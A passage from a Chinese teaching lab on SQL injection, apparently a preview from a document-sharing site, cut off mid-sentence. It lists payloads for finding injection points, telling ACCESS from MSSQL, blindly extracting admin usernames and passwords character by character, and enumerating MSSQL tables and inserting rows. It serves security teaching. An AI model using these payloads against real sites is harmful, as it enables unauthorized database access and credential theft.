L003001013-HTTP攻击与防范-SQL注入攻击-03明小子工具实例研究报告.docx
文本预览下载声明
课程编写类别内容实验课题名称HTTP攻击与防范-SQL注入攻击-03明小子工具实例实验目的与要求1、了解常用web 脚本2、了解常用web 脚本漏洞的利用点实验环境VPC1(虚拟PC)操作系统类型:windows,网络接口:本地连接VPC1 连接要求PC 网络接口,本地连接与实验网络直连软件描述1、学生机要求安装java环境2、vpc安装windows 2003实验环境描述1、学生机与实验室网络直连;2、VPC1与实验室网络直连;3、学生机与VPC1物理链路连通;预备知识1、类型:数字型:and 1=1 and 1=2 判断是否存在注入字符型: and 1=1 and 1=2搜索型:关键字% and 1=1 and %=% 关键字% and 1=2 and %=%2、IIS报错情况下使用:and user0 (判断是ACCESS还是MSSQL)不报错则使用各自数据库特性来判断and (select count(*) from msysobjects)0 (返回权限不足access数据库)and (select count(*) from sysobjects)0 (返回正常则为MSSQL数据库)and db_name()0 (返回数据库名)and 0(select @@version)-- (判断版本信息)and db_name()0 (返回数据库名)************注意:猜解之前先要找到后台地址,不然白忙了**********3、ACCESS注入:猜解表名(正常则存在admin,不正常则不存在)and exists (select * from [admin])and (Select Count(*) from Admin)0猜解字段:(字段username存在则正常,不正常则不存在)and (Select username from Admin)0and exists (select username from [admin])猜解用户名和密码长度and (select top 1 len(username) from Admin)0and (select top 1 len(password) from Admin)04、原理:如果top 1的username长度大于0,则条件成立;接着就是1、2、3这样测试下去,一直到条件不成立为止,比如4成立,5不成立,就是len(username)=5,即用户名长度为5.得到username的长度后,用mid(username,N,1)截取第N位字符,再asc(mid(username,N,1))得到ASCII码.猜解用户and (select top 1 asc(mid(username,1,1)) from Admin)0,1,2…,当输入到109时,显示错误,而108之前显示正确,说明第一个字符的ASCII码为109,得到第一个字符是m。同理and (select top 1 asc(mid(username,2,1) from Admin)0,1,2…到114的时候不成立,说明第二个字符的ASCII码值为114,字符为r。注意的是英文和数字的ASCII码在1-128之间...MSSQL注入:having 1=1-- 【爆出一个表名及字段,如:列 users.ID 在选择列表中无效】group by users.ID having 1=1--group by users.ID, users.username, users.password, users.privs having 1=1--; insert into users values( 666, attacker, foobar, 0xffff )-- 【插入新记录】猜解表名:SQL SERVER的每一个数据库都会有用户表和系统表,在系统表sysobjects中,数据库内创建的每个对象(约束、默认值、日志、规则、存储过程等)在sysobjects表中占一行,那么也就是说当前数据库的表名都会在该表内有存在。我们常用到的参数有三个,name (数据表的名字),xtype(数据表的类型 u为用户表),id(数据表的对象标志)。and (select top 1 name from sysobjects where xtype=u)0 (得到第一个表名:比如user)and (select top 1 name from sysobjects where xtype=u and name not in (user))0 得到第二个表名,后面的以此类推。。猜解列名:用到系统自带的2个函数col_name()和object_id(),col_name()的格式是“COL_NAME( table_id , column_i
显示全部